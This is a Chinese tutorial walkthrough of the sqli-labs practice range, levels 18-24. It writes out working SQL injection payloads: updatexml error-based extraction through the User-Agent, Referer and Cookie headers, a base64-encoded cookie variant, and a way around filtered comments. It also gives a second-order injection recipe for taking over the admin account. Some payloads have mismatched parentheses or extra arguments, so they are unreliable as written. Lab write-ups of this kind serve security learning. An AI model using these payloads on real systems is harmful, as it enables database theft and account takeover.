以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】
【less-18】
打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。

提交的是信息有user-Agent、IP、uname信息。

此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。

最后得到数据库名:security。
解题步骤:
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- + //第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + //第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +
【less-19】
与less-18,唯一的区别是,提交的信息不再是user-agent,而是referer。

解题步骤:
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- + //第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + //第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +
【less-20】

从上图的信息可以看出登录之后,记录的信息是类似的,根据前两题的经验,尝试使用user-agent、referr、cookie信息进行注入。
经过验证将抓包的cookie进行更改

改为:

结果为:

其他步骤:
# 第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- + # 第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) -- +
【less-21】
通过抓包和源码分析可以得出:less-21使用的是cookie,而且还是base64加密的。

和Less-20注入原理相同,不同的是在修改cookie时,先转成base64的值。

先将注入编码进行base64编码。

然后再把编制的码代入到cookie中。

出现错误,是因为“-- +”在进行base64编码时出现了问题。
可以将“-- +” 替换为 '1' = '1
具体代码:
admin 'and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- +#改为admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1#对应的base64编码YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
调试结果:

其他步骤和Less-20类似,区别都是要变成base64加密。
# 第二步获取数据表名
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1# 第三步获取数据表字段
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) and '1'='1
【less-22】

通过分析源码得知,基本Less-21相似,唯一的区别就是单引号变成了双引号。
解题步骤和Less-21相同。
#第一步获取数据库admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1# 第二步获取数据表名
admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1# 第三步获取数据表字段
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails" ),0x7e),1) and "1"="1
结果:

【less-23】
less-23是一种GET方式的注入,使用之前的方式,发现无法注入,分析源码,得知之前用的 注释(-- 和# 都被替换了空)。

此时尝试一种新的注释方式: '1' ='1 以消除原本SQL语句中的引号。
解题方法:
# 获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1# 获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) or '1'='1# 获取数据字段
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) or '1'='1
结果为:

【less-24】
less24是一个二次注入的案例。
分析源码:

可以看出只有用户名(username)没有用mysql_real_escape_string()对特殊字符进行转义。
解题步骤:
1.注册admin用户

2.登录并修改admin密码

3.尝试使用admin账号和新密码登录,破解管理员账号。


相关文章:
以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】
【less-18】 打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。 提交的是信息有user-Agent、IP、uname信息。 此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。…...
【已有项目版】uniapp项目发版pda -- Android Studio
必备资料清单: 构建完成的app项目 在HBuilderX开发的uniapp项目 .keystore文件 文章目录 1. 安装Android Studio:https://developer.android.google.cn/studio?hlzh-cn2. 安装Android 离线SDK:https://nativesupport.dcloud.net.cn/AppDocs…...
三维重建,谁才是顶流?
3DGS技术是近年来计算机视觉领域最具突破性的研究成果之一。它不仅在学术界引起了广泛关注,成为计算机视觉、SLAM等领域的研究热点,而且每天都有大量基于Gaussian Splatting的新研究问世。此外,3DGS技术在商业应用方面也取得了显著进展&#…...
s32k314【入门新手篇】-开发环境安装【ds32开发平台】
软件包下载 登录nxp官网下载:https://www.nxp.com/ 然后输入关键字:S32 查看 下载安装包 以上三步请先注册好并登录你的个人账号 下载完之后如下: 软件安装 eb安装并激活【试用版】 激活 2 安装ds 弹出什么就安装什么就好了。 …...
DiffBIR论文阅读笔记
这篇是董超老师通讯作者的一篇盲图像修复的论文,目前好像没看到发表在哪个会议期刊,应该是还在投,这个是arxiv版本,代码倒是开源了。本文所指的BIR并不是一个single模型对任何未知图像degradation都能处理,而是用同一个…...
基于STM32的位置速度环PID控制伺服电机转动位置及程序说明
PID控制原理 PID控制原理是一种广泛应用于工业自动化和其他领域的控制算法。PID控制器的名字来源于其三个主要组成部分:比例(Proportional)、积分(Integral)和微分(Derivative)。PID控制器实现…...
操作失败——后端
控制台观察,页面发送的保存菜品的请求 返回的response显示: ---------- 我开始查看明明感觉都挺正常,没啥错误,就是查不出来。结果后面电脑关机重启后,隔一天看,就突然可以了。我觉着可能是浏览器的缓存没…...
基于SSM的“学校访客登记系统”的设计与实现(源码+数据库+文档)
基于SSM的“学校访客登记系统”的设计与实现(源码数据库文档) 开发语言:Java 数据库:MySQL 技术:SSM 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 平台架构图 系统首页 校园公告信息界面 留言板管理界面 家庭来…...
linux配置IP、子网掩码、网关
linux虚拟机配置IP、子网掩码、网关 本方法适用于 Ubuntu 18.04 之后的版本。 例1: 配置信息: IP:10.100.100.23 子网掩码:255.255.255.240 网关:10.100.100.56 1、打开网络配置文件 01-network-manager-all.yaml sudo vi /etc/netplan/01-network-…...
Java 垃圾回收
文章目录 1 Java 垃圾回收1.1 JVM1.2 Java 对象生命周期 2 如何判断一个对象可被回收2.1 引用计数算法2.2 可达性分析算法 3 垃圾回收过程3.1 总体过程3.2 为什么要进行世代垃圾回收?3.3 分代垃圾回收过程 在 C 和 C 中,许多对象要求程序员声明他们后为其…...
多客陪玩系统-开源陪玩系统平台源码-支持游戏线上陪玩家政线下预约等多场景应用支持H5+小程序+APP
多客陪玩系统-开源陪玩系统平台源码-支持游戏线上陪玩家政按摩线下预约等多场景应用支持H5小程序APP 软件架构 前端:Uniapp-vue2.0 后端:Thinkphp6 前后端分离 前端支持: H5小程序双端APP(安卓苹果) 安装教程 【商业…...
书生·浦语大模型全链路开源体系-笔记作业2
全部写成了shell脚本,可以一键执行。 笔记: 1. 环境安装(InternStudio开发机) # 1. 创建conda环境 studio-conda -o internlm-base -t demo # 2. 激活conda环境 conda activate demo # 3. 安装额外的依赖 pip install huggingface-hub0.17.3 pip inst…...
手把手教你发布你的第一个npm插件包
在开源的世界里,npm(Node Package Manager)不仅是JavaScript生态中不可或缺的一部分,也是全球最大的软件注册表,它使得分享和复用代码变得异常简单。如果你有一个很棒的想法或者实用的功能想要封装成一个npm包供他人使…...
Docker-compose 编排lnmp(dockerfile) 完成Wordpress
一、部署 Nginx 镜像 1. 建立工作目录 mkdir /opt/lnmp/nginx -pcd /opt/lnmp/nginx#上传 nginx 安装包 nginx-1.12.0.tar.gz#上传 wordpress 服务包 wordpress-4.9.4-zh_CN.tar.gz mkdir /opt/lnmp/nginx/htmltar zxvf wordpress-4.9.4-zh_CN.tar.gz -C /opt/lnmp/nginx/html…...
秋招突击——算法打卡——5/28——复习{Z字形变换、两数之和}——新做:{整数反转、字符串转整数}
文章目录 复习Z字形变换实现代码参考代码 两数之和复习代码 新作整数反转个人实现实现代码 参考做法字符串转换整数个人解法 分析总结 复习 Z字形变换 实现代码 这里使用了他的思想,但是没有用他的代码,虽然已经比上次简洁了,但是还是不够&…...
PPT设置为本框的默认格式以及固定文本框
调整文本框固定位置 双击文本框之后勾选如下三个位置 设置文本框为默认 在调整好文本框的基本性质后,设置为默认即可...
计算机基础(5)——进制与进制转换
💗计算机基础系列文章💗 👉🍀计算机基础(1)——计算机的发展史🍀👉🍀计算机基础(2)——冯诺依曼体系结构🍀👉ἴ…...
发现情绪背后的真实心理需求,选择适合你的情绪调节方式
一、教程描述 心态对人的生活质量以及身体健康等多方面,都会产生非常重要的影响,受到不良情绪的影响,人的心态也会发生一定的变化。对于处于不良情绪状态的人来讲,应该重视学会调整自己的情绪。在心理学上,人的每种情…...
代理记账公司的五大问题及其解决方案
代理记账公司是现代企业管理中不可或缺的一部分,它为企业的日常运营提供了专业、高效的服务,随着行业的发展和竞争的加剧,代理记账公司的面临的问题也日益突出,这些问题主要表现在以下几个方面: 业务流程不规范 许多代…...
TH方程学习 (7)
一、内容介绍 TH存在广泛应用,在下面案例中,将介绍几种相对运动模型,斜滑接近模型,本节学习斜滑接近制导方法能够对接近时间、接近方向以及自主接近过程的相对速度进行控制。施加脉冲时刻追踪器的位置连线可构成一条直线…...
Local SDXL-Turbo保姆级教程:导出为ONNX格式进一步优化推理速度
Local SDXL-Turbo保姆级教程:导出为ONNX格式进一步优化推理速度 1. 引言:为什么需要导出ONNX? 如果你已经体验过Local SDXL-Turbo那“打字即出图”的畅快感,可能会想:这速度已经很快了,还能不能再快一点&…...
QueryExcel:解放双手的Excel批量查询神器,告别Ctrl+F的繁琐时代
QueryExcel:解放双手的Excel批量查询神器,告别CtrlF的繁琐时代 【免费下载链接】QueryExcel 多Excel文件内容查询工具。 项目地址: https://gitcode.com/gh_mirrors/qu/QueryExcel 在日常工作中,你是否也曾被海量Excel文件中的数据查找…...
使用Python轻松管理Word页脚
在日常的办公自动化中,处理Word文档是许多人绕不开的环节。无论是生成报告、合同,还是制作项目文档,Word都是一个不可或缺的工具。然而,当文档数量庞大,或者需要频繁更新时,那些看似简单的重复性任务&#…...
Phi-4-mini-reasoning开源大模型教程:免配置镜像+128K长文本推理实战
Phi-4-mini-reasoning开源大模型教程:免配置镜像128K长文本推理实战 1. 模型简介 Phi-4-mini-reasoning是一个轻量级开源大语言模型,专注于高质量推理任务。作为Phi-4模型家族成员,它具备以下核心特点: 推理能力突出࿱…...
EasyAnimateV5-7b-zh-InP效果对比:不同Sampling Method(Flow/Euler)画质差异
EasyAnimateV5-7b-zh-InP效果对比:不同Sampling Method(Flow/Euler)画质差异 你是不是也遇到过这样的困惑:用同一个图生视频模型,同样的图片和提示词,只是换了个采样方法,出来的视频效果就天差…...
灵毓秀-牧神-造相Z-Turbo使用全攻略:从环境检查到作品输出
灵毓秀-牧神-造相Z-Turbo使用全攻略:从环境检查到作品输出 1. 镜像简介与核心功能 灵毓秀-牧神-造相Z-Turbo是一款基于Xinference部署的AI文生图模型服务,专门用于生成《牧神记》中灵毓秀角色的高质量图像。该镜像集成了Gradio交互界面,让用…...
Pixel Script Temple 数学建模辅助:将MATLAB算法思路转换为Python代码
Pixel Script Temple 数学建模辅助:将MATLAB算法思路转换为Python代码 1. 为什么需要MATLAB到Python的代码转换 在科研和工程领域,MATLAB长期以来一直是数学建模和科学计算的首选工具。但随着Python生态系统的成熟,越来越多的团队开始转向使…...
HumanoidVerse深度解析:如何通过多模拟器框架实现人形机器人sim2real高效训练
1. HumanoidVerse框架概览:多模拟器支持与模块化设计 HumanoidVerse是卡耐基梅隆大学(CMU)推出的开源框架,专门针对人形机器人的sim2real训练需求。这个框架最大的特点在于其多模拟器支持架构,能够无缝对接IsaacGym、IsaacSim和Genesis三种主…...
OpenClaw人人养虾:配置Anthropic (Claude)
Anthropic 是 Claude 系列模型的开发者。Claude 以出色的指令遵循能力、深度推理和长文本处理著称。OpenClaw 支持通过 API Key 或 Claude Code CLI OAuth 接入。 认证方式 方式一:API Key(推荐) 前往 Anthropic Console 创建 API Key在 O…...
手把手教你用PyTorch 2.0复现风源AI气象模型(附GitHub源码解读)
手把手教你用PyTorch 2.0复现风源AI气象模型(附GitHub源码解读) 气象预测正经历从传统数值模拟到AI驱动的范式转移。本文将带您深入风源模型的技术内核——一个融合卫星遥感与深度学习的混合架构,通过PyTorch 2.0实现从数据预处理到模型推理的…...
